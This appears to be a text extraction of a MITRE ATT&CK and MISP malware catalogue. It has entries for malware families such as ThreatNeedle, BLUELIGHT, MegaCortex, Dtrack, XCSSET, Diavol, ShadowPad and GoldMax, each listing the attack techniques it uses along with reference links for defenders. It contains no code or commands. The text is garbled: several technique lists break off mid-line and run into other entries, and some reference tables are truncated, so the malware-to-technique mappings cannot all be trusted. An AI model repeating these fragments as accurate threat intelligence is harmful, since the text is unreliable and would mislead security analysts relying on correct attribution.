• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

\[4216\]

\textit{Table 7163. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0595">https://attack.mitre.org/software/S0595</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/detections/osx-thiefquest/">https://blog.malwarebytes.com/detections/osx-thiefquest/</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x60.html">https://objective-see.com/blog/blog_0x60.html</a></td>
</tr>
</tbody>
</table>

\textbf{ThreatNeedle - S0665}

[ThreatNeedle](https://attack.mitre.org/software/S0665) is a backdoor that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Manuscript (a.k.a. NukeSped) malware family.(Citation: Kaspersky ThreatNeedle Feb 2021)

The tag is: misp-galaxy:mitre-malware="ThreatNeedle - S0665"
ThreatNeedle - S0665 is also known as:

- ThreatNeedle

View relationships graph

ThreatNeedle - S0665 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7164. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0665">https://attack.mitre.org/software/S0665</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-threatneedle/100803/">https://securelist.com/lazarus-threatneedle/100803/</a></td>
</tr>
</tbody>
</table>
BLUELIGHT - S0657

[BLUELIGHT](https://attack.mitre.org/software/S0657) is a remote access Trojan used by [APT37](https://attack.mitre.org/groups/G0067) that was first observed in early 2021. (Citation: Volexity InkySquid BLUELIGHT August 2021)

The tag is: `misp-galaxy:mitre-malware="BLUELIGHT - S0657"`

BLUELIGHT - S0657 is also known as:

- BLUELIGHT

View relationships graph

BLUELIGHT - S0657 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 7165. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0657">https://attack.mitre.org/software/S0657</a></td>
</tr>
</tbody>
</table>

MegaCortex - S0576

[MegaCortex](https://attack.mitre.org/software/S0576) is ransomware that first appeared in May 2019. ([Citation: IBM MegaCortex](https://attack.mitre.org/software/S0576)) has mainly targeted industrial organizations. ([Citation: FireEye Ransomware Disrupt Industrial Production](https://attack.mitre.org/software/S0576))(Citation: FireEye Financial Actors Moving into OT)

The tag is: misp-galaxy:mitre-malware="MegaCortex - S0576"

MegaCortex - S0576 is also known as:

• MegaCortex

View relationships graph

MegaCortex - S0576 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"

Table 7166. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0576">https://attack.mitre.org/software/S0576</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html">https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html</a></td>
</tr>
</tbody>
</table>

**Dtrack - S0567**

[Dtrack](https://attack.mitre.org/software/S0567) is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. [Dtrack](https://attack.mitre.org/software/S0567) shares similarities with the DarkSeoul campaign, which was attributed to [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: Kaspersky Dtrack)(Citation: Securelist Dtrack)(Citation: Dragos WASSONITE)(Citation: CyberBit Dtrack)(Citation: ZDNet Dtrack)
The tag is: misp-galaxy:mitre-malware="Dtrack - S0567"

Dtrack - S0567 is also known as:

- Dtrack

View relationships graph

Dtrack - S0567 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 7167. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0567">https://attack.mitre.org/software/S0567</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/my-name-is-dtrack/93338/">https://securelist.com/my-name-is-dtrack/93338/</a></td>
</tr>
<tr>
<td><a href="https://www.dragos.com/threat/wassonite/">https://www.dragos.com/threat/wassonite/</a></td>
</tr>
</tbody>
</table>

**TAINTEDSCRIBE - S0586**

[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) is a fully-featured beaconing implant integrated with command modules used by [Lazarus Group](https://attack.mitre.org/groups/G0032). It was first reported in May 2020. (Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)

The tag is: *misp-galaxy:mitre-malware*="TAINTEDSCRIBE - S0586"

TAINTEDSCRIBE - S0586 is also known as:

• TAINTEDSCRIBE

View relationships graph

TAINTEDSCRIBE - S0586 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
XCSSET - S0658

[XCSSET](https://attack.mitre.org/software/S0658) is a macOS modular backdoor that targets Xcode application developers. [XCSSET](https://attack.mitre.org/software/S0658) was first observed in August 2020 and has been used to install a backdoor component, modify browser applications,
conduct collection, and provide ransomware-like encryption capabilities. (Citation: trendmicro xcsset xcode project 2020)

The tag is: `misp-galaxy:mitre-malware="XCSSET - S0658"`

XCSSET - S0658 is also known as:

- XCSSET
- OSX.DubRobber

View relationships graph

XCSSET - S0658 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Account Discovery - T1087"` with estimative-
Table 7169. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0658">https://attack.mitre.org/software/S0658</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/detections/osx-dubrobber/">https://blog.malwarebytes.com/detections/osx-dubrobber/</a></td>
</tr>
</tbody>
</table>

**EVILNUM - S0568**

[EVILNUM](https://attack.mitre.org/software/S0568) is fully capable backdoor that was first identified in 2018. [EVILNUM](https://attack.mitre.org/software/S0568) is used by the APT group
[EvilNum](https://attack.mitre.org/groups/G0120) which has the same name.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)

The tag is: *misp-galaxy:mitre-malware="EVILNUM - S0568"*

**EVILNUM - S0568** is also known as:

- **EVILNUM**

**View relationships graph**

**EVILNUM - S0568** has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"* with estimative-language:likelihood-probability="almost-certain"

*Table 7170. Table References*

| Links | 4226 |
PowerPunch - S0685

[PowerPunch](https://attack.mitre.org/software/S0685) is a lightweight downloader that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021. (Citation: Microsoft Actinium February 2022)

The tag is: `misp-galaxy:mitre-malware="PowerPunch - S0685"`

PowerPunch - S0685 is also known as:

- PowerPunch

View relationships graph

PowerPunch - S0685 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001"` with estimative-language:likelihood-probability="almost-certain"

Diavol - S0659

[Diavol](https://attack.mitre.org/software/S0659) is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. [Diavol](https://attack.mitre.org/software/S0659) has been deployed by [Bazar](https://attack.mitre.org/software/S0534) and is thought to have potential ties to [Wizard Spider](https://attack.mitre.org/groups/G0102). (Citation: Fortinet Diavol July 2021) (Citation: FBI Flash Diavol January 2022) (Citation: DFIR Diavol Ransomware December 2021)

The tag is: `misp-galaxy:mitre-malware="Diavol - S0659"`
Diavol - S0659 is also known as:

- Diavol

**View relationships graph**

Diavol - S0659 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

---

Table 7172. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0659">https://attack.mitre.org/software/S0659</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/12/13/diavol-ransomware/">https://thedfirreport.com/2021/12/13/diavol-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider">https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider</a></td>
</tr>
<tr>
<td><a href="https://www.ic3.gov/Media/News/2022/220120.pdf">https://www.ic3.gov/Media/News/2022/220120.pdf</a></td>
</tr>
</tbody>
</table>

---

**Explosive - S0569**

[Explosive](https://attack.mitre.org/software/S0569) is a custom-made remote access tool used by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123). It was first identified in the wild in 2015.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)

The tag is: `misp-galaxy:mitre-malware="Explosive - S0569"`

Explosive - S0569 is also known as:

- Explosive

**View relationships graph**

Explosive - S0569 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-
Table 7173. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0569">https://attack.mitre.org/software/S0569</a></td>
</tr>
</tbody>
</table>

**ShadowPad - S0596**

[ShadowPad](https://attack.mitre.org/software/S0596) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://attack.mitre.org/groups/G0096), but has since been observed to be used by various Chinese threat activity groups. (Citation: Recorded Future RedEcho Feb 2021)(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017)

The tag is: `misp-galaxy:mitre-malware="ShadowPad - S0596"`

ShadowPad - S0596 is also known as:

- ShadowPad
- POISONPLUG.SHADOW

View relationships graph

ShadowPad - S0596 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 7174. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0596">https://attack.mitre.org/software/S0596</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf</a></td>
</tr>
</tbody>
</table>
FrozenCell - S0577

[FrozenCell](https://attack.mitre.org/software/S0577) is the mobile component of a family of surveillanceware, with a corresponding desktop component known as KasperAgent and [Micropsia](https://attack.mitre.org/software/S0339).

The tag is: `misp-galaxy:mitre-malware="FrozenCell - S0577"`

FrozenCell - S0577 is also known as:

- FrozenCell

View relationships graph

FrozenCell - S0577 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1533"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426"` with estimative-language:likelihood-probability="almost-certain"

*Table 7175. Table References*
SUPERNOVA - S0578

SUPERNOVA ([https://attack.mitre.org/software/S0578](https://attack.mitre.org/software/S0578)) is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of [APT29]([https://attack.mitre.org/groups/G0016](https://attack.mitre.org/groups/G0016))'s SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests [SUPERNOVA]([https://attack.mitre.org/software/S0578](https://attack.mitre.org/software/S0578)) may have been used by the China-based threat group SPIRAL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: SolarWinds Advisory Dec 2020)(Citation: CISA Supernova Jan 2021)(Citation: Microsoft Analyzing Solorigate Dec 2020)

The tag is: `misp-galaxy:mitre-malware="SUPERNOVA - S0578"`

SUPERNOVA - S0578 is also known as:

- SUPERNOVA

View relationships graph

SUPERNOVA - S0578 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"` with estimative-language:likelihood-probability="almost-certain"

Table 7176. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0578">https://attack.mitre.org/software/S0578</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/solarstorm-supernova/">https://unit42.paloaltonetworks.com/solarstorm-supernova/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a</a></td>
</tr>
<tr>
<td><a href="https://www.solarwinds.com/sa-overview/securityadvisory">https://www.solarwinds.com/sa-overview/securityadvisory</a></td>
</tr>
</tbody>
</table>
Penquin - S0587

[Penquin](https://attack.mitre.org/software/S0587) is a remote access trojan (RAT) with multiple versions used by [Turla](https://attack.mitre.org/groups/G0010) to target Linux systems since at least 2014.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)

The tag is: `misp-galaxy:mitre-malware="Penquin - S0587"`

Penquin - S0587 is also known as:

- Penquin
- Penquin 2.0
- Penquin_x64

View relationships graph

Penquin - S0587 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7177. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0587">https://attack.mitre.org/software/S0587</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-penquin-turla-2/67962/">https://securelist.com/the-penquin-turla-2/67962/</a></td>
</tr>
<tr>
<td><a href="https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf">https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf</a></td>
</tr>
</tbody>
</table>

**GoldFinder - S0597**

[GoldFinder](https://attack.mitre.org/software/S0597) is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. [GoldFinder](https://attack.mitre.org/software/S0597) was discovered in early 2021 during an investigation into the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) by [APT29](https://attack.mitre.org/groups/G0016).(Citation: MSTIC NOBELIUM Mar 2021)

The tag is: misp-galaxy:mitre-malware="GoldFinder - S0597"

GoldFinder - S0597 is also known as:

- GoldFinder

View relationships graph

GoldFinder - S0597 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"


Waterbear - S0579

[Waterbear](https://attack.mitre.org/software/S0579) is modular malware attributed to [BlackTech](https://attack.mitre.org/groups/G0098) that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors. (Citation: Trend Micro Waterbear December 2019)

The tag is: `misp-galaxy:mitre-malware="Waterbear - S0579"`

Waterbear - S0579 is also known as:

- Waterbear

View relationships graph

Waterbear - S0579 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"` with estimative-
GoldMax - S0588

[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. [GoldMax](https://attack.mitre.org/software/S0588) was discovered in early 2021 during the investigation into the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), and has likely been used by [APT29](https://attack.mitre.org/groups/G0016) since at least mid-2019. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic. (Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: CrowdStrike StellarParticle January 2022)

The tag is: `misp-galaxy:mitre-malware="GoldMax - S0588"`

GoldMax - S0588 is also known as:

- GoldMax
- SUNSHUTTLE

View relationships graph

GoldMax - S0588 has relationships with:

